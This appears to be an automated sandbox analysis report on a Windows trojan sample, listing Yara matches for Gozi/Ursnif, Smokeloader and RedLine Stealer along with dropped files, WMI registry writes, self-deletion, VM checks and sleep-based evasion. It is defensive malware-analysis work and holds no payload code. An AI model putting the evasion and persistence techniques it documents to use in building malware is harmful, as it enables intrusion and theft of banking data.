Source: Yara match	File source: 00000001.00000000.401881839.0000000002B21000.00000020.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.322194744.0000000000520000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Source: loader_250246_15072022_2203_31102022.exe, 00000006.00000002.586083420.000000000064A000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

E-Banking Fraud

Yara detected Ursnif

Source: Yara match	File source: 6.2.loader_250246_15072022_2203_31102022.exe.d394a0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.loader_250246_15072022_2203_31102022.exe.430000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.586624507.0000000000D39000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\AppData\Local\Temp\loader_250246_15072022_2203_31102022.exe

Code function: 6_2_004347E5 CryptAcquireContextW,memcpy,CryptImportKey,CryptSetKeyParam,memcpy,CryptEncrypt,GetLastError,GetLastError,CryptDestroyKey,GetLastError,CryptReleaseContext,GetLastError,

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000006.00000002.586811866.0000000001318000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Gozi_fd494041 Author: unknown
Source: 00000006.00000002.586811866.0000000001318000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Gozi_261f5ac5 Author: unknown
Source: 00000000.00000002.415776182.0000000002381000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000000.00000002.415123167.0000000000520000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000004.00000002.471661867.0000000000513000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000000.00000002.415096817.0000000000510000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000004.00000002.471455998.00000000004D0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000004.00000002.471472153.00000000004E0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000004.00000002.471974631.0000000000911000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000000.00000002.415328456.0000000000553000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000001.00000000.401881839.0000000002B21000.00000020.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: Process Memory Space: loader_250246_15072022_2203_31102022.exe PID: 3524, type: MEMORYSTR	Matched rule: Windows_Trojan_Gozi_fd494041 Author: unknown
Source: Process Memory Space: loader_250246_15072022_2203_31102022.exe PID: 3524, type: MEMORYSTR	Matched rule: Windows_Trojan_Gozi_261f5ac5 Author: unknown

Writes or reads registry keys via WMI

Source: C:\Users\user\AppData\Local\Temp\loader_250246_15072022_2203_31102022.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetStringValue
Source: C:\Users\user\AppData\Local\Temp\loader_250246_15072022_2203_31102022.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::SetDWORDValue
Source: C:\Users\user\AppData\Local\Temp\loader_250246_15072022_2203_31102022.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
Source: C:\Users\user\AppData\Local\Temp\loader_250246_15072022_2203_31102022.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::SetStringValue

Writes registry values via WMI

Source: C:\Users\user\AppData\Local\Temp\loader_250246_15072022_2203_31102022.exe	WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetDWORDValue
Source: C:\Users\user\AppData\Local\Temp\loader_250246_15072022_2203_31102022.exe	WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
Source: C:\Users\user\AppData\Local\Temp\loader_250246_15072022_2203_31102022.exe	WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetStringValue

Source: cqu7x.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 00000006.00000002.586811866.0000000001318000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Gozi_fd494041 reference_sample = 0a1c1557bdb8c1b99e2b764fc6b21a07e33dc777b492a25a55cbd8737031e237, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = faabcdfb3402a5951ff1fde4f994dcb00ec9a71fb815b80dc1da9b577bf92ec2, id = fd494041-3fe8-4ffa-9ab8-6798032f1d66, last_modified = 2021-08-23
Source: 00000006.00000002.586811866.0000000001318000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Gozi_261f5ac5 reference_sample = 31835c6350177eff88265e81335a50fcbe0dc46771bf031c836947851dcebb4f, os = windows, severity = x86, creation_date = 2019-08-02, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = cbc8fec8fbaa809cfc7da7db72aeda43d4270f907e675016cbbc2e28e7b8553c, id = 261f5ac5-7800-4580-ac37-80b71c47c270, last_modified = 2021-08-23
Source: 00000000.00000002.415776182.0000000002381000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000000.00000002.415123167.0000000000520000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000004.00000002.471661867.0000000000513000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000000.00000002.415096817.0000000000510000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000004.00000002.471455998.00000000004D0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000004.00000002.471472153.00000000004E0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000004.00000002.471974631.0000000000911000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000000.00000002.415328456.0000000000553000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000001.00000000.401881839.0000000002B21000.00000020.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: Process Memory Space: loader_250246_15072022_2203_31102022.exe PID: 3524, type: MEMORYSTR	Matched rule: Windows_Trojan_Gozi_fd494041 reference_sample = 0a1c1557bdb8c1b99e2b764fc6b21a07e33dc777b492a25a55cbd8737031e237, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = faabcdfb3402a5951ff1fde4f994dcb00ec9a71fb815b80dc1da9b577bf92ec2, id = fd494041-3fe8-4ffa-9ab8-6798032f1d66, last_modified = 2021-08-23
Source: Process Memory Space: loader_250246_15072022_2203_31102022.exe PID: 3524, type: MEMORYSTR	Matched rule: Windows_Trojan_Gozi_261f5ac5 reference_sample = 31835c6350177eff88265e81335a50fcbe0dc46771bf031c836947851dcebb4f, os = windows, severity = x86, creation_date = 2019-08-02, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = cbc8fec8fbaa809cfc7da7db72aeda43d4270f907e675016cbbc2e28e7b8553c, id = 261f5ac5-7800-4580-ac37-80b71c47c270, last_modified = 2021-08-23

Source: C:\Users\user\Desktop\cqu7x.exe	Code function: 0_2_00401991
Source: C:\Users\user\Desktop\cqu7x.exe	Code function: 0_2_00410C30
Source: C:\Users\user\Desktop\cqu7x.exe	Code function: 0_2_00411A10
Source: C:\Users\user\AppData\Roaming\vcivdjd	Code function: 4_2_00401991
Source: C:\Users\user\AppData\Roaming\vcivdjd	Code function: 4_2_00410C30
Source: C:\Users\user\AppData\Roaming\vcivdjd	Code function: 4_2_00411A10
Source: C:\Users\user\AppData\Local\Temp\3196.exe	Code function: 5_2_00E07C88
Source: C:\Users\user\AppData\Local\Temp\3196.exe	Code function: 5_2_00E08558
Source: C:\Users\user\AppData\Local\Temp\3196.exe	Code function: 5_2_00E07940
Source: C:\Users\user\AppData\Local\Temp\loader_250246_15072022_2203_31102022.exe	Code function: 6_2_004382FC
Source: C:\Users\user\AppData\Local\Temp\loader_250246_15072022_2203_31102022.exe	Code function: 6_2_00432DCC
Source: C:\Users\user\AppData\Local\Temp\loader_250246_15072022_2203_31102022.exe	Code function: 6_2_00432792

Source: C:\Users\user\Desktop\cqu7x.exe	Code function: String function: 0040CCD0 appears 31 times
Source: C:\Users\user\AppData\Roaming\vcivdjd	Code function: String function: 0040CCD0 appears 31 times

Source: C:\Users\user\Desktop\cqu7x.exe	Code function: 0_2_004018F5 Sleep,NtTerminateProcess,
Source: C:\Users\user\Desktop\cqu7x.exe	Code function: 0_2_00401900 Sleep,NtTerminateProcess,
Source: C:\Users\user\Desktop\cqu7x.exe	Code function: 0_2_0040190B Sleep,NtTerminateProcess,
Source: C:\Users\user\Desktop\cqu7x.exe	Code function: 0_2_00401912 Sleep,NtTerminateProcess,
Source: C:\Users\user\Desktop\cqu7x.exe	Code function: 0_2_00401920 Sleep,NtTerminateProcess,
Source: C:\Users\user\Desktop\cqu7x.exe	Code function: 0_2_004018F4 Sleep,NtTerminateProcess,
Source: C:\Users\user\AppData\Roaming\vcivdjd	Code function: 4_2_004018F5 Sleep,NtTerminateProcess,
Source: C:\Users\user\AppData\Roaming\vcivdjd	Code function: 4_2_00401900 Sleep,NtTerminateProcess,
Source: C:\Users\user\AppData\Roaming\vcivdjd	Code function: 4_2_0040190B Sleep,NtTerminateProcess,
Source: C:\Users\user\AppData\Roaming\vcivdjd	Code function: 4_2_00401912 Sleep,NtTerminateProcess,
Source: C:\Users\user\AppData\Roaming\vcivdjd	Code function: 4_2_00401920 Sleep,NtTerminateProcess,
Source: C:\Users\user\AppData\Roaming\vcivdjd	Code function: 4_2_004018F4 Sleep,NtTerminateProcess,
Source: C:\Users\user\AppData\Local\Temp\loader_250246_15072022_2203_31102022.exe	Code function: 6_2_00401493 NtQuerySystemInformation,Sleep,GetLocaleInfoA,GetSystemDefaultUILanguage,VerLanguageNameA,GetLongPathNameW,GetLongPathNameW,GetLongPathNameW,CreateThread,QueueUserAPC,CloseHandle,GetLastError,TerminateThread,CloseHandle,SetLastError,WaitForSingleObject,GetExitCodeThread,CloseHandle,GetLastError,GetLastError,
Source: C:\Users\user\AppData\Local\Temp\loader_250246_15072022_2203_31102022.exe	Code function: 6_2_00401D95 GetProcAddress,NtCreateSection,memset,
Source: C:\Users\user\AppData\Local\Temp\loader_250246_15072022_2203_31102022.exe	Code function: 6_2_00401F78 NtMapViewOfSection,
Source: C:\Users\user\AppData\Local\Temp\loader_250246_15072022_2203_31102022.exe	Code function: 6_2_0043737C NtOpenProcess,NtOpenProcessToken,NtQueryInformationToken,NtQueryInformationToken,NtQueryInformationToken,memcpy,NtClose,NtClose,
Source: C:\Users\user\AppData\Local\Temp\loader_250246_15072022_2203_31102022.exe	Code function: 6_2_00438521 NtQueryVirtualMemory,

Source: cqu7x.exe	Static PE information: Resource name: RT_VERSION type: MIPSEB-LE MIPS-III ECOFF executable not stripped - version 0.79
Source: vcivdjd.1.dr	Static PE information: Resource name: RT_VERSION type: MIPSEB-LE MIPS-III ECOFF executable not stripped - version 0.79

Source: C:\Windows\explorer.exe	Section loaded: taskschd.dll
Source: C:\Windows\explorer.exe	Section loaded: webio.dll
Source: C:\Windows\explorer.exe	Section loaded: windows.globalization.dll
Source: C:\Windows\explorer.exe	Section loaded: capabilityaccessmanagerclient.dll

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Roaming\vcivdjd B9FD7622C3FCFDD6EB9B2CB917A3CB64EB35C61221DE4866303CA88D828D5BED

Source: 3196.exe.1.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: loader_250246_15072022_2203_31102022.exe.5.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: cqu7x.exe	ReversingLabs: Detection: 92%
Source: cqu7x.exe	Metadefender: Detection: 40%

Source: cqu7x.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\cqu7x.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: unknown	Process created: C:\Users\user\Desktop\cqu7x.exe C:\Users\user\Desktop\cqu7x.exe
Source: unknown	Process created: C:\Users\user\AppData\Roaming\vcivdjd C:\Users\user\AppData\Roaming\vcivdjd
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\3196.exe C:\Users\user\AppData\Local\Temp\3196.exe
Source: C:\Users\user\AppData\Local\Temp\3196.exe	Process created: C:\Users\user\AppData\Local\Temp\loader_250246_15072022_2203_31102022.exe "C:\Users\user\AppData\Local\Temp\loader_250246_15072022_2203_31102022.exe"
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\3196.exe C:\Users\user\AppData\Local\Temp\3196.exe
Source: C:\Users\user\AppData\Local\Temp\3196.exe	Process created: C:\Users\user\AppData\Local\Temp\loader_250246_15072022_2203_31102022.exe "C:\Users\user\AppData\Local\Temp\loader_250246_15072022_2203_31102022.exe"

Source: C:\Windows\explorer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32

Source: C:\Users\user\AppData\Local\Temp\3196.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select ProcessorId From Win32_processor

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Roaming\vcivdjd

Jump to behavior

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Local\Temp\3196.tmp

Jump to behavior

Source: classification engine

Classification label: mal100.troj.evad.winEXE@6/5@3/2

Source: C:\Users\user\AppData\Local\Temp\3196.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\3196.exe

Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll

Source: C:\Users\user\AppData\Local\Temp\loader_250246_15072022_2203_31102022.exe

Code function: 6_2_00437256 CreateToolhelp32Snapshot,Process32First,Process32Next,CloseHandle,

Source: C:\Users\user\AppData\Local\Temp\loader_250246_15072022_2203_31102022.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\loader_250246_15072022_2203_31102022.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\3196.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Source: C:\Users\user\Desktop\cqu7x.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Source: cqu7x.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: C:\tayaho\fijopeyado\yitopiwozobog\zolusay pe.pdb8hC source: cqu7x.exe, vcivdjd.1.dr
Source:	Binary string: C:\tayaho\fijopeyado\yitopiwozobog\zolusay pe.pdb source: cqu7x.exe, vcivdjd.1.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\cqu7x.exe	Unpacked PE file: 0.2.cqu7x.exe.400000.0.unpack .text:ER;.data:W;.rsrc:R; vs .text:EW;
Source: C:\Users\user\AppData\Roaming\vcivdjd	Unpacked PE file: 4.2.vcivdjd.400000.0.unpack .text:ER;.data:W;.rsrc:R; vs .text:EW;

Source: C:\Users\user\Desktop\cqu7x.exe	Code function: 0_2_004010DE push cs; ret
Source: C:\Users\user\Desktop\cqu7x.exe	Code function: 0_2_0040199E push cs; retf
Source: C:\Users\user\AppData\Roaming\vcivdjd	Code function: 4_2_004010DE push cs; ret
Source: C:\Users\user\AppData\Roaming\vcivdjd	Code function: 4_2_0040199E push cs; retf
Source: C:\Users\user\AppData\Local\Temp\3196.exe	Code function: 5_2_00E0A5E0 push eax; retf
Source: C:\Users\user\AppData\Local\Temp\loader_250246_15072022_2203_31102022.exe	Code function: 6_2_0043B859 push 0000006Fh; retf
Source: C:\Users\user\AppData\Local\Temp\loader_250246_15072022_2203_31102022.exe	Code function: 6_2_004382EB push ecx; ret
Source: C:\Users\user\AppData\Local\Temp\loader_250246_15072022_2203_31102022.exe	Code function: 6_2_00437F00 push ecx; ret

Source: C:\Users\user\AppData\Local\Temp\loader_250246_15072022_2203_31102022.exe

Code function: 6_2_0040134F LoadLibraryA,GetProcAddress,

Source: initial sample

Static PE information: section name: .text entropy: 7.3931970143179395

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Roaming\vcivdjd

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\3196.exe	File created: C:\Users\user\AppData\Local\Temp\loader_250246_15072022_2203_31102022.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\3196.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\vcivdjd	Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Yara detected Ursnif

Source: Yara match	File source: 6.2.loader_250246_15072022_2203_31102022.exe.d394a0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.loader_250246_15072022_2203_31102022.exe.430000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.586624507.0000000000D39000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY

Deletes itself after installation

Source: C:\Windows\explorer.exe

File deleted: c:\users\user\desktop\cqu7x.exe

Jump to behavior

Hides that the sample has been downloaded from the Internet (zone.identifier)

Source: C:\Windows\explorer.exe

File opened: C:\Users\user\AppData\Roaming\vcivdjd:Zone.Identifier read attributes | delete

Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\3196.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\3196.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\3196.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\3196.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\3196.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\3196.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\3196.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\3196.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\3196.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\3196.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\3196.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\3196.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\3196.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\3196.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\3196.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\3196.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\3196.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\3196.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\3196.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\3196.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\3196.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\3196.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\3196.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\3196.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\3196.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\3196.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\3196.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\loader_250246_15072022_2203_31102022.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\loader_250246_15072022_2203_31102022.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking system information)

Source: C:\Users\user\AppData\Local\Temp\loader_250246_15072022_2203_31102022.exe

Evasive API call chain: NtQuerySystemInformation,DecisionNodes,Sleep

Checks if the current machine is a virtual machine (disk enumeration)

Source: C:\Users\user\Desktop\cqu7x.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\Desktop\cqu7x.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\Desktop\cqu7x.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\Desktop\cqu7x.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\Desktop\cqu7x.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\Desktop\cqu7x.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Roaming\vcivdjd	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Roaming\vcivdjd	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Roaming\vcivdjd	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Roaming\vcivdjd	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Roaming\vcivdjd	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Roaming\vcivdjd	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI

Source: C:\Windows\explorer.exe TID: 5464	Thread sleep count: 644 > 30
Source: C:\Windows\explorer.exe TID: 2348	Thread sleep count: 345 > 30
Source: C:\Windows\explorer.exe TID: 2348	Thread sleep time: -34500s >= -30000s
Source: C:\Windows\explorer.exe TID: 5452	Thread sleep count: 411 > 30
Source: C:\Windows\explorer.exe TID: 5452	Thread sleep time: -41100s >= -30000s
Source: C:\Windows\explorer.exe TID: 2408	Thread sleep count: 567 > 30
Source: C:\Windows\explorer.exe TID: 3232	Thread sleep count: 270 > 30
Source: C:\Windows\explorer.exe TID: 632	Thread sleep count: 274 > 30
Source: C:\Users\user\AppData\Local\Temp\3196.exe TID: 2224	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Windows\explorer.exe	Last function: Thread delayed
Source: C:\Windows\explorer.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\3196.exe

Thread delayed: delay time: 922337203685477

Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 644
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 411
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 567

Source: C:\Users\user\AppData\Local\Temp\loader_250246_15072022_2203_31102022.exe

Check user administrative privileges: GetTokenInformation,DecisionNodes

Source: C:\Users\user\AppData\Local\Temp\3196.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select ProcessorId From Win32_processor

Source: C:\Users\user\Desktop\cqu7x.exe

Process information queried: ProcessInformation

Source: C:\Users\user\AppData\Local\Temp\3196.exe

Thread delayed: delay time: 922337203685477

Source: C:\Users\user\Desktop\cqu7x.exe

System information queried: ModuleInformation

Source: C:\Users\user\AppData\Local\Temp\loader_250246_15072022_2203_31102022.exe

API call chain: ExitProcess graph end node

